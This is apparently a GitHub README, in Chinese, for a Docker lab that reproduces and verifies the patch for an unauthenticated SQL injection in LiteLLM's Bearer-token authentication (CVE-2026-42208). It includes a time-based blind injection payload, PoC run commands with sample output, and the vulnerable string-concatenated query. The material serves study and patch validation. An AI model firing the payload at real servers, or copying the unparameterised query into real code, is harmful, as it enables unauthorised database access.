yendpoint/CVE-2026-42208-LAB

GitHub: yendpoint/CVE-2026-42208-LAB

针对 LiteLLM API key 认证路径中未经认证 SQL 注入漏洞(CVE-2026-42208)的本地复现与补丁验证实验室,提供多版本 Docker 实例和基于时间盲注的 PoC 脚本。

Stars: 0 | Forks: 0

# CVE-2026-42208 — LiteLLM 认证前 SQL 注入实验室 一个用于学习、重现和验证 CVE-2026-42208 补丁的本地实验室:LiteLLM 的 API key 认证路径中存在的未经认证的 SQL 注入漏洞。 ## 漏洞概述 当 token 未遵循 `sk-` 前缀路径时,LiteLLM 的认证中间件会直接将原始 Bearer token 传递到 PostgreSQL 查询中,而无需进行参数化。攻击者可以在任何 endpoint 上通过 `Authorization` header 注入任意 SQL —— 无需任何凭据。 **受影响的 endpoint:** 任何经过认证的 endpoint(例如 `POST /v1/chat/completions`) **注入点:** `Authorization: Bearer ` **验证技术:** 时间盲注 —— `' OR (SELECT pg_sleep(N)) IS NULL --` **修复版本:** v1.83.7 ## 实验室实例 | 端口 | 版本 | 镜像 | 状态 | |------|---------|-------|--------| | 8081 | v1.81.14 | `ghcr.io/berriai/litellm:v1.81.14-stable` | 稳定版 | | 8082 | v1.83.3 | `ghcr.io/berriai/litellm-database:main-v1.83.3-stable.patch.3` | 存在漏洞 | | 8083 | v1.83.6 | `ghcr.io/berriai/litellm-database:v1.83.6-nightly` | 存在漏洞 | | 8084 | v1.83.7 | `ghcr.io/berriai/litellm-database:v1.83.7-stable` | 已修复 | | 8085 | v1.86.0 | `ghcr.io/berriai/litellm-database:v1.86.0` | 已修复 | **Master key(所有实例):** `sk-local-fake-master-key` ## 前置条件 - Docker Desktop(包含 Compose v2) - Python 3.9+(用于 PoC 脚本) ## 设置 ``` # 首次运行 — 构建 images 并清除所有旧的 volumes docker compose down -v docker compose up --build -d # 检查所有 services 是否健康 docker compose ps # 查看 seeder 日志以确认 seed keys 已创建 docker compose logs -f seed-v1.81.14 seed-v1.83.3 seed-v1.83.6 seed-v1.83.7 seed-v1.86.0 ``` ## 运行 PoC ### 单个目标 ``` python poc2.py --url http://127.0.0.1:8083 ``` ### 所有实例同时运行(使用 targets.json) ``` python poc2.py --targets targets.json ``` ### 选项 | 标志 | 默认值 | 描述 | |------|---------|-------------| | `--url` | — | 单个目标的基础 URL | | `--targets` | — | 包含 `[{url, name}, ...]` 条目的 JSON 文件 | | `--path` | `/v1/chat/completions` | 要测试的 API 路径 | | `--sleep` | `6` | `pg_sleep()` 的持续时间(秒) | | `--rounds` | `2` | 每个目标的探测轮数 | ### 预期输出 **存在漏洞的实例** — 探测时间比基准线长约 6 秒: ``` [baseline] status=401 elapsed=0.041s ... [probe] round=1 status=401 elapsed=6.089s ... baseline=0.041s median=6.089s delta=6.048s result=LIKELY VULNERABLE ``` **已修复的实例** — 没有时间差异: ``` [baseline] status=401 elapsed=0.038s ... [probe] round=1 status=401 elapsed=0.042s ... baseline=0.038s median=0.042s delta=0.004s result=LIKELY PATCHED_OR_NOT_TRIGGERED ``` ## 注入原理 易受攻击的代码路径使用原始字符串拼接构建查询: ``` # Simplified — 仅包含易受攻击的版本 query = f"SELECT * FROM \"LiteLLM_VerificationToken\" WHERE token = '{raw_token}'" ``` 将 `' OR (SELECT pg_sleep(6)) IS NULL -- ` 作为 Bearer token 发送会生成: ``` SELECT * FROM "LiteLLM_VerificationToken" WHERE token = '' OR (SELECT pg_sleep(6)) IS NULL -- ' ``` `OR` 条件始终为真,因此每一行都会匹配 —— 并且在返回之前,`pg_sleep(6)` 会针对每一行执行一次。已修复的版本使用参数化查询,因此 payload 被视为文字字符串,子查询永远不会运行。 ## 项目结构 ``` CVE-2026-42208-LAB/ ├── docker-compose.yaml # All services: DBs, LiteLLM instances, seeders ├── targets.json # Target list for poc2.py --targets ├── poc2.py # Timing-based PoC (single or multi-target) ├── poc.py # Alternative PoC with extended options ├── seed.sql # Reference — documents the seeding rationale ├── v1.81.14/ │ ├── Dockerfile │ └── litellm_config.yaml ├── v1.83.3/ │ ├── Dockerfile │ └── litellm_config.yaml ├── v1.83.6/ │ ├── Dockerfile │ └── litellm_config.yaml ├── v1.83.7/ │ ├── Dockerfile │ └── litellm_config.yaml └── v1.86.0/ ├── Dockerfile └── litellm_config.yaml ``` ## 清理环境 ``` # 停止并删除 containers(保留 volumes) docker compose down # 停止并删除所有内容,包括 volumes docker compose down -v ```
标签:CISA项目, Docker, LiteLLM, Python, 安全防御评估, 无后门, 测试用例, 漏洞复现环境, 版权保护, 请求拦截, 身份验证绕过, 逆向工具